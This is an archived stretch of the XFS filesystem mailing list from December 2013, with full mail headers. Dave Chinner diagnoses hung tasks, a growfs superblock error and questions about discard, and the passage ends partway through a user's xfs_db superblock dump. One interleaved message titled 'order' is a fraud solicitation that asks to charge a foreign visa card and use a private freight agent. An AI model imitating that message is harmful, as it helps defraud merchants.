X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 201327F3F for ; Wed, 18 Dec 2013 16:21:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id AF96CAC001 for ; Wed, 18 Dec 2013 14:21:19 -0800 (PST) X-ASG-Debug-ID: 1387405277-04bdf00fdffde00001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id zMIOGKTUdjbhmtQd for ; Wed, 18 Dec 2013 14:21:18 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AogHACcfslJ5LHyk/2dsb2JhbABZgwqDPLEUhV2BHBd0giUBAQEDATocIxAIAw4KCSUPBSUDIROHfAfKWBcWjg8rQgeENgEDmBWKTIdJgz8ogS4 Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 19 Dec 2013 08:51:17 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VtPUQ-0002X5-Bl; Thu, 19 Dec 2013 09:21:14 +1100 Date: Thu, 19 Dec 2013 09:21:14 +1100 From: Dave Chinner To: Kevin Richter Cc: xfs@oss.sgi.com Subject: Re: XFS blocked task in xlog_cil_force_lsn Message-ID: <20131218222114.GO31386@dastard> X-ASG-Orig-Subj: Re: XFS blocked task in xlog_cil_force_lsn References: <52B102FF.8040404@pzystorm.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52B102FF.8040404@pzystorm.de> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1387405277 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143208 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 18, 2013 at 03:05:51AM +0100, Kevin Richter wrote: > Hi, > > around April 2012 there was a similar thread on this list which I have > found via Google, so my mail topic is the same. > > I have a RAID6 array with 5 disks (each 2TB, net: 6TB). While copying > under heavy load there are always these blocks. At the bottom of this > message I have included some line from the syslog. > > Even a reboot is now not possible anymore, because the whole system > hangs while executing the "sync" command in one of the shutdown scripts. Of course it will hang - it's waiting for the filesystem to make progress, and clearly it isn't.... > > So... first I have thought that my disks are faulty. > But with smartmontools I have started a short and a long test on all of > the 5 disks: no errors > > Then I have even recreated the whole array, but no improvement. > > Details about my server: 3.2.0-57-generic, Ubuntu 12.04.3 LTS Oh, that's quite old. I'd suggest upgrading to a much more recent kernel as we've fixed lots of issues in this area since then. > > kswapd0 D ffffffff81806240 0 51 2 0x00000000 > > ffff8804658099f0 0000000000000046 ffff880465809a74 ffff880465809a78 > > ffff880465809fd8 ffff880465809fd8 ffff880465809fd8 00000000000137c0 > > ffff880465dd1700 ffff880465818000 0000000000000000 ffff88046175aa28 > > Call Trace: > > [] schedule+0x3f/0x60 > > [] __mutex_lock_slowpath+0xd7/0x150 > > [] mutex_lock+0x2a/0x50 > > [] xfs_reclaim_inodes_ag+0x2d8/0x3a0 [xfs] So, reclaim is stalled, meaning there there's other threads blocked reclaiming inodes.... > > INFO: task kswapd1:52 blocked for more than 120 seconds. > > "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. > > kswapd1 D 0000000000000007 0 52 2 0x00000000 > > ffff88046580b840 0000000000000046 0000000000000001 00000000ffffffff > > ffff88046580bfd8 ffff88046580bfd8 ffff88046580bfd8 00000000000137c0 > > ffff880865e8ae00 ffff880465819700 ffff88046580b830 0000000000000004 > > Call Trace: > > [] schedule+0x3f/0x60 > > [] xlog_cil_force_lsn+0xf7/0x120 [xfs] > > [] _xfs_log_force_lsn+0x57/0x2e0 [xfs] > > [] xfs_log_force_lsn+0x18/0x40 [xfs] > > [] xfs_iunpin_nowait+0x44/0xb0 [xfs] > > [] xfs_iunpin_wait+0x35/0xb0 [xfs] > > [] xfs_reclaim_inode+0xb2/0x2a0 [xfs] Yup, there's the stalled reclaim, waiting on a log force in progress to complete. > > Dec 18 02:19:19 kernel: [390470.199017] INFO: task xfsaild/dm-0:19192 blocked for more than 120 seconds. > > Dec 18 02:19:19 kernel: [390470.199828] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. > > Dec 18 02:19:19 kernel: [390470.200262] xfsaild/dm-0 D 0000000000000001 0 19192 2 0x00000000 > > Dec 18 02:19:19 kernel: [390470.200268] ffff88084e847a60 0000000000000046 ffff88046454d500 0000000000000000 > > Dec 18 02:19:19 kernel: [390470.200274] ffff88084e847fd8 ffff88084e847fd8 ffff88084e847fd8 00000000000137c0 > > Dec 18 02:19:19 kernel: [390470.200281] ffff88045fdd0000 ffff880461b1dc00 ffff88084e847a50 ffff88085f47d080 > > Dec 18 02:19:19 kernel: [390470.200288] Call Trace: > > Dec 18 02:19:19 kernel: [390470.200293] [] schedule+0x3f/0x60 > > Dec 18 02:19:19 kernel: [390470.200323] [] xlog_state_get_iclog_space+0xea/0x2e0 [xfs] > > Dec 18 02:19:19 kernel: [390470.200330] [] ? try_to_wake_up+0x200/0x200 > > Dec 18 02:19:19 kernel: [390470.200358] [] xlog_write+0xe9/0x400 [xfs] > > Dec 18 02:19:19 kernel: [390470.200382] [] ? kmem_zone_alloc+0x67/0xe0 [xfs] > > Dec 18 02:19:19 kernel: [390470.200410] [] xlog_cil_push+0x20c/0x380 [xfs] > > Dec 18 02:19:19 kernel: [390470.200438] [] xlog_cil_force_lsn+0x10e/0x120 [xfs] > > Dec 18 02:19:19 kernel: [390470.200446] [] ? __switch_to+0xf5/0x360 > > Dec 18 02:19:19 kernel: [390470.200473] [] _xfs_log_force+0x68/0x2a0 [xfs] > > Dec 18 02:19:19 kernel: [390470.200481] [] ? try_to_del_timer_sync+0x92/0x130 > > Dec 18 02:19:19 kernel: [390470.200507] [] xfs_log_force+0x18/0x40 [xfs] > > Dec 18 02:19:19 kernel: [390470.200535] [] xfsaild_push+0x213/0x680 [xfs] > > Dec 18 02:19:19 kernel: [390470.200540] [] ? schedule_timeout+0x175/0x320 > > Dec 18 02:19:19 kernel: [390470.200568] [] xfsaild+0x62/0xc0 [xfs] And there's the log force that is in progress, and that is waiting on log buffer space to become available to finish the log force. That's waiting on IO completion to occur. IOWs, There's nothing that points directly at an XFS issue here. There might be a problem, but it's just as likely a hardware or IO path bug that is preventing an IO completion from occurring and that is what XFS is getting hung up on.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Dec 18 16:33:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A90717F3F for ; Wed, 18 Dec 2013 16:33:17 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3CDD8AC003 for ; Wed, 18 Dec 2013 14:33:17 -0800 (PST) X-ASG-Debug-ID: 1387405995-04bdf00fdffe2c0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 8lnPjgSXKBeLDJy8 for ; Wed, 18 Dec 2013 14:33:15 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AogHAHwhslJ5LHyk/2dsb2JhbABZgwqDPLEUhV2BHBd0giUBAQEEOhwjEAgDGAklDwUlAyETiAPKbxaOfAeENgSYFYpMh0mBbYFSKA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 19 Dec 2013 09:03:14 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VtPg1-0002aI-1i; Thu, 19 Dec 2013 09:33:13 +1100 Date: Thu, 19 Dec 2013 09:33:13 +1100 From: Dave Chinner To: arno Cc: xfs@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [XFS BUG] xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning Message-ID: <20131218223312.GP31386@dastard> X-ASG-Orig-Subj: Re: [XFS BUG] xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning References: <52B1B89A.8030401@disconnect.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52B1B89A.8030401@disconnect.de> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1387405995 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143208 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 18, 2013 at 04:00:42PM +0100, arno wrote: > Hello, > > (Please keep me in CC, I'm not subscribed) > > Just got "xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure > needs cleaning" when trying to grow a logical Volume. Sorry, I lost the > xfs_growfs output. > > After collecting some info, I ran xfs_repair, and that seemed to fix it, > so no harm done. After fixing, the FS had the new, increased size, if > that matters. This isn't the first time you've grown the filesystem, is it? On older kernels, growfs could leave trailing garbage in the new secondary superblocks it created. This was fixed in kernel v3.8 by commit: 1375cb6 xfs: growfs: don't read garbage for new secondary superblocks This garbage is detected by other changes made in v3.8 that verify the secondary superblocks as they are read. 9802182 xfs: verify superblocks as they are read from disk So if you grew the filesystem on a kernel older than v3.8, growing it again on a v3.8+ kernel will detect the superblock corruption and throw this error. xfs_repair was recently fixed to detect the garbage in secondary superblocks and zero it: cbd7508 xfs_repair: zero out unused parts of superblocks So what you need to do is run xfs_repair built from the development git tree and run it on your filesystem. That will remove the garbage from the superblocks and make this problem go away forever. Cheers, Dave. -- Dave Chinner david@fromorbit.com From lindsaymacleod@hotmail.com Wed Dec 18 16:43:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AB5C87F3F for ; Wed, 18 Dec 2013 16:43:03 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 73571304075 for ; Wed, 18 Dec 2013 14:43:00 -0800 (PST) X-ASG-Debug-ID: 1387406579-04bdf00fe2fe650001-NocioJ Received: from blu0-omc2-s24.blu0.hotmail.com (blu0-omc2-s24.blu0.hotmail.com [65.55.111.99]) by cuda.sgi.com with ESMTP id HDlcdt3hdLKmaGf9 for ; Wed, 18 Dec 2013 14:42:59 -0800 (PST) X-Barracuda-Envelope-From: lindsaymacleod@hotmail.com X-Barracuda-Apparent-Source-IP: 65.55.111.99 Received: from BLU173-W22 ([65.55.111.71]) by blu0-omc2-s24.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675); Wed, 18 Dec 2013 14:42:59 -0800 X-TMN: [ltE/AqdWXFJICRIaFq8L+wNiFFTwuTQB] X-Originating-Email: [lindsaymacleod@hotmail.com] Message-ID: Content-Type: multipart/alternative; boundary="_67fc2d79-07a3-45f3-8c01-b4c582255c1b_" From: Wilson Anderson Subject: order Date: Wed, 18 Dec 2013 22:42:58 +0000 X-ASG-Orig-Subj: order Importance: Normal MIME-Version: 1.0 X-OriginalArrivalTime: 18 Dec 2013 22:42:59.0189 (UTC) FILETIME=[805C3250:01CEFC42] X-Barracuda-Connect: blu0-omc2-s24.blu0.hotmail.com[65.55.111.99] X-Barracuda-Start-Time: 1387406579 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.21 X-Barracuda-Spam-Status: No, SCORE=1.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143208 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; --_67fc2d79-07a3-45f3-8c01-b4c582255c1b_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Happy Christmas in advance=2C I am American citizen residing in Singapore and I will like to place an ord= er=2Cbut I have a private freight agent that will be handle the pick up/shi= pment to Singapore but I want to know if you have terminal machine to charg= e my US visa card for the payment ? If yes=2Cthen kindly get back to me so = that we can proceed and respond with your catalog/current price list. Regards=2C Wilson Anderson Global Investment 133 New Bridge Road=2C #23-01/02=2C Chinatown Point Singapore 059413 = --_67fc2d79-07a3-45f3-8c01-b4c582255c1b_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable



    Happy Christmas in advance=2C
    I a= m American citizen residing in Singapore and I will like to place an order= =2Cbut I have a private freight agent that will be handle the pick up/shipm= ent to Singapore but I want to know if you have terminal machine to charge = my US visa card for the payment ? If yes=2Cthen kindly get back to me so th= at we can proceed and respond with your catalog/current price list.

    = Regards=2C
    Wilson Anderson
    Global Investment
    133 New Bridge Road= =2C
    #23-01/02=2C Chinatown Point
    Singapore 059413
    = --_67fc2d79-07a3-45f3-8c01-b4c582255c1b_-- From david@fromorbit.com Wed Dec 18 17:06:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AB3777F3F for ; Wed, 18 Dec 2013 17:06:24 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 317B3AC001 for ; Wed, 18 Dec 2013 15:06:20 -0800 (PST) X-ASG-Debug-ID: 1387407978-04cb6c537b823440001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id Y1TDdEXXMDhrl0Us for ; Wed, 18 Dec 2013 15:06:18 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AokHALEpslJ5LHyk/2dsb2JhbABRCIMKgzyxFYVdgRwXdIIlAQEBAwEnExwjBQsIAxgJJQ8FJQMhExSHaAfKVBcWjiZWB4Q2BJQzg2KKTIdJgz8ogS4k Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 19 Dec 2013 09:36:17 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VtQBz-0002dr-3j; Thu, 19 Dec 2013 10:06:15 +1100 Date: Thu, 19 Dec 2013 10:06:15 +1100 From: Dave Chinner To: Alex Lyakas Cc: xfs@oss.sgi.com Subject: Re: Questions about XFS discard and xfs_free_extent() code (newbie) Message-ID: <20131218230615.GQ31386@dastard> X-ASG-Orig-Subj: Re: Questions about XFS discard and xfs_free_extent() code (newbie) References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1387407978 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143208 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 18, 2013 at 08:37:29PM +0200, Alex Lyakas wrote: > Greetings XFS developers & community, > > I am studying the XFS code, primarily focusing now at the free-space > allocation and deallocation parts. > > I learned that freeing an extent happens like this: > - xfs_free_extent() calls xfs_free_ag_extent(), which attempts to merge the > freed extents from left and from right in the by-bno btree. Then the by-size > btree is updated accordingly. > - xfs_free_extent marks the original (un-merged) extent as "busy" by > xfs_extent_busy_insert(). This prevents this original extent from being > allocated. (Except that for metadata allocations such extent or part of it > can be "unbusied", while it is still not marked for discard with > XFS_EXTENT_BUSY_DISCARDED). > - Once the appropriate part of the log is committed, xlog_cil_committed > calls xfs_discard_extents. This discards the extents using the synchronous > blkdev_issue_discard() API, and only them "unbusies" the extents. This makes > sense, because we cannot allow allocating these extents until discarding > completed. > > WRT to this flow, I have some questions: > > - xfs_free_extent first inserts the extent into the free-space btrees, and > only then marks it as busy. How come there is no race window here? Because the AGF is locked exclusively at this point, meaning only one process can be modifying the free space tree at this point in time. > Can > somebody allocate the freed extent before it is marked as busy? Or the > free-space btrees somehow are locked at this point? The code says "validate > the extent size is legal now we have the agf locked". I more or less see > that xfs_alloc_fix_freelist() locks *something*, but I don't see > xfs_free_extent() unlocking anything. The AGF remains locked until the transaction is committed. The transaction commit code unlocks items modified in the transaction via the ->iop_unlock log item callback.... > - If xfs_extent_busy_insert() fails to alloc a xfs_extent_busy structure, > such extent cannot be discarded, correct? Correct. > - xfs_discard_extents() doesn't check the discard granularity of the > underlying block device, like xfs_ioc_trim() does. So it may send a small > discard request, which cannot be handled. Discard is a "advisory" operation - it is never guaranteed to do anything. > If it would have checked the > granularity, it could have avoided sending small requests. But the thing is > that the busy extent might have been merged in the free-space btree into a > larger extent, which is now suitable for discard. Sure, but the busy extent tree tracks extents across multiple transaction contexts, and we cannot merge extents that are in different contexts. > I want to attempt the following logic in xfs_discard_extents(): > # search the "by-bno" free-space btree for a larger extent that fully > encapsulates the busy extent (which we want to discard) > # if found, check whether some other part of the larger extent is still busy > (except for the current busy extent we want to discard) > # if no, send discard for the larger extent > Does this make send? And I think that we need to hold the larger > extent locked somehow until the > discard completes, to prevent allocation from the discarded range. You can't search the freespace btrees in log IO completion context - that will cause deadlocks because we can be holding the locks searching the freespace trees when we issue a log force and block waiting for log IO completion to occur. e.g. in xfs_extent_busy_reuse().... Also, walking the free space btrees can be an IO bound operation, overhead/latency we absolutely do not want to add to log IO completion. Further, walking the free space btrees can be a memory intensive operation (buffers are demand paged from disk) and log IO completion may be necessary for memory reclaim to make progress in low memory situations. So adding unbound memory demand to log IO completion will cause low memory deadlocks, too. IOWs, adding freespace tree processing to xfs_discard_extents() just won't work. What we really need is a smarter block layer implementation of the discard operation - it needs to be asynchronous, and it needs to support merging of adjacent discard requests. Now that SATA 3.1 devices are appearing on the market, queued trim operations are now possible. Dispatching discard oeprations as synchronous operations prevents us from taking advantage of these operations. Further, because it's synchronous, the block layer can't merge adjacent discards, not batch multiple discard ranges up into a single TRIM command. IOWs, what we really need is for the block layer discard code to be brought up to the capabilities of the hardware on the market first. Then we will be in a position to be able to optimise the XFS code to use async dispatch and new IO completion handlers to finish the log IO completion processing, and at that point we shouldn't need to care anymore. Note that XFS already dispatches discards in ascending block order, so if we issue adjacent discards the block layer will be able to merge them appropriately. Hence we don't need to add that complexity to XFS.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From rafaelweingartner@gmail.com Wed Dec 18 17:30:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E4C287F3F for ; Wed, 18 Dec 2013 17:29:59 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 47502AC005 for ; Wed, 18 Dec 2013 15:29:59 -0800 (PST) X-ASG-Debug-ID: 1387409396-04cbb0416981fe60001-NocioJ Received: from mail-ve0-f182.google.com (mail-ve0-f182.google.com [209.85.128.182]) by cuda.sgi.com with ESMTP id i2PFR7YbWO86g1Z5 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 18 Dec 2013 15:29:57 -0800 (PST) X-Barracuda-Envelope-From: rafaelweingartner@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.182 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.182] Received: by mail-ve0-f182.google.com with SMTP id jy13so225615veb.13 for ; Wed, 18 Dec 2013 15:29:56 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.182] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.182] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=7Xqad+MWo2E6YKxr5ibHEVTqc9DBn+xYsTvdKLHfo3g=; b=FqtTyT1KhRxVPL0tdq8Qfwaew/vqiZfmabeq6UAJgHq2r6SzQJb1NiddV1cnElRbHz ukNJjnPM6dTPN4ZQURcoG7j2AkA8QjpmwKdeg37NAXtc1dVrKe+CJehuQ5E63WFr8MzQ NSvaBVimqLgkKZzuCH11KbtmhhSjMnAUnRpkofhWGfmwUIU9JcDdLWvDDfOWFp9gvdwq po+TOrmdl4zbKS3BUIdgCXp/3xLm04ia84IBkHnNlR9RTtfuV3qIpLtMVXQEa7fsR3Ay Ic/aXpfaVrLFGJu2wpEujTzI/KXx9my18gXXro5xAKrXBcv7VWOvR8q//PK+xMgJtwVL yz0A== MIME-Version: 1.0 X-Received: by 10.58.100.197 with SMTP id fa5mr5778412veb.24.1387409396531; Wed, 18 Dec 2013 15:29:56 -0800 (PST) Received: by 10.58.19.97 with HTTP; Wed, 18 Dec 2013 15:29:56 -0800 (PST) In-Reply-To: <20131218213434.GK31386@dastard> References: <20131216000141.GU31386@dastard> <20131216030537.GX31386@dastard> <20131216125402.GB10988@dastard> <20131218213434.GK31386@dastard> Date: Wed, 18 Dec 2013 21:29:56 -0200 Message-ID: Subject: Re: XFS_REPAIR on LVM partition From: Rafael Weingartner X-ASG-Orig-Subj: Re: XFS_REPAIR on LVM partition To: Dave Chinner Cc: xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=089e0115f0443d0c4e04edd76c44 X-Barracuda-Connect: mail-ve0-f182.google.com[209.85.128.182] X-Barracuda-Start-Time: 1387409397 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.41 X-Barracuda-Spam-Status: No, SCORE=0.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143209 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --089e0115f0443d0c4e04edd76c44 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable > > [ cc'd the XFS list again - please keep problem triage on the public > lists so that more than one person can help you. ] My bad, I am sorry, sometimes I forget to press the reply to all button. It's still possible to recover, but more info is needed first. > Can you get xfs_db to dump the primary and a couple of secondary > superblocks? I am glad to hear that, I have actually already extracted the files that I needed using UFS explorer, but I still would like to restore the filesystem if it is possible. Output of "xfs_db -c "sb 0" -c p -c "sb 2" -c p -c "sb 7" -c p " xfs_db: cannot init perag data (117) > magicnum =3D 0x58465342 > blocksize =3D 4096 > dblocks =3D 131072000 > rblocks =3D 0 > rextents =3D 0 > uuid =3D 430d1253-0d52-401b-b6bd-42e23bb56bc3 > logstart =3D 67108868 > rootino =3D 128 > rbmino =3D 129 > rsumino =3D 130 > rextsize =3D 1 > agblocks =3D 32768000 > agcount =3D 4 > rbmblocks =3D 0 > logblocks =3D 64000 > versionnum =3D 0xb4a4 > sectsize =3D 512 > inodesize =3D 256 > inopblock =3D 16 > fname =3D "\000\000\000\000\000\000\000\000\000\000\000\000" > blocklog =3D 12 > sectlog =3D 9 > inodelog =3D 8 > inopblog =3D 4 > agblklog =3D 25 > rextslog =3D 0 > inprogress =3D 0 > imax_pct =3D 25 > icount =3D 256 > ifree =3D 200 > fdblocks =3D 127617831 > frextents =3D 0 > uquotino =3D 0 > gquotino =3D 0 > qflags =3D 0 > flags =3D 0 > shared_vn =3D 0 > inoalignmt =3D 2 > unit =3D 0 > width =3D 0 > dirblklog =3D 0 > logsectlog =3D 0 > logsectsize =3D 0 > logsunit =3D 1 > features2 =3D 0xa > bad_features2 =3D 0xa > magicnum =3D 0x58465350 > blocksize =3D 4096 > dblocks =3D 7566328849834176030 > rblocks =3D 70481084416 > rextents =3D 5638878729879945216 > uuid =3D 5de3e560-0f52-401b-854a-acfc3bb56bfb > logstart =3D 7566047375040578052 > rootino =3D 18374686479671613439 > rbmino =3D 18446744071377518559 > rsumino =3D null > rextsize =3D 1 > agblocks =3D 32768000 > agcount =3D 4 > rbmblocks =3D 1073782799 > logblocks =3D 64000 > versionnum =3D 0xa4a4 > sectsize =3D 512 > inodesize =3D 267 > inopblock =3D 16 > fname =3D "3\367\356\036\000\000\000`i\000\000\000" > blocklog =3D 66 > sectlog =3D 64 > inodelog =3D 190 > inopblog =3D 133 > agblklog =3D 27 > rextslog =3D 3 > inprogress =3D 1 > imax_pct =3D 25 > icount =3D 0 > ifree =3D 72057594037927936 > fdblocks =3D 131054064 > frextents =3D 5891388165771235349 > uquotino =3D 13746228866238942976 > gquotino =3D 13746228866238942976 > qflags =3D 0xd0de > flags =3D 0x17 > shared_vn =3D 97 > inoalignmt =3D 33554434 > unit =3D 418391552 > width =3D 0 > dirblklog =3D 0 > logsectlog =3D 0 > logsectsize =3D 0 > logsunit =3D 506003457 > features2 =3D 0x8 > bad_features2 =3D 0xa > bad allocation group number 7 > magicnum =3D 0x58465350 > blocksize =3D 4096 > dblocks =3D 7566328849834176030 > rblocks =3D 70481084416 > rextents =3D 5638878729879945216 > uuid =3D 5de3e560-0f52-401b-854a-acfc3bb56bfb > logstart =3D 7566047375040578052 > rootino =3D 18374686479671613439 > rbmino =3D 18446744071377518559 > rsumino =3D null > rextsize =3D 1 > agblocks =3D 32768000 > agcount =3D 4 > rbmblocks =3D 1073782799 > logblocks =3D 64000 > versionnum =3D 0xa4a4 > sectsize =3D 512 > inodesize =3D 267 > inopblock =3D 16 > fname =3D "3\367\356\036\000\000\000`i\000\000\000" > blocklog =3D 66 > sectlog =3D 64 > inodelog =3D 190 > inopblog =3D 133 > agblklog =3D 27 > rextslog =3D 3 > inprogress =3D 1 > imax_pct =3D 25 > icount =3D 0 > ifree =3D 72057594037927936 > fdblocks =3D 131054064 > frextents =3D 5891388165771235349 > uquotino =3D 13746228866238942976 > gquotino =3D 13746228866238942976 > qflags =3D 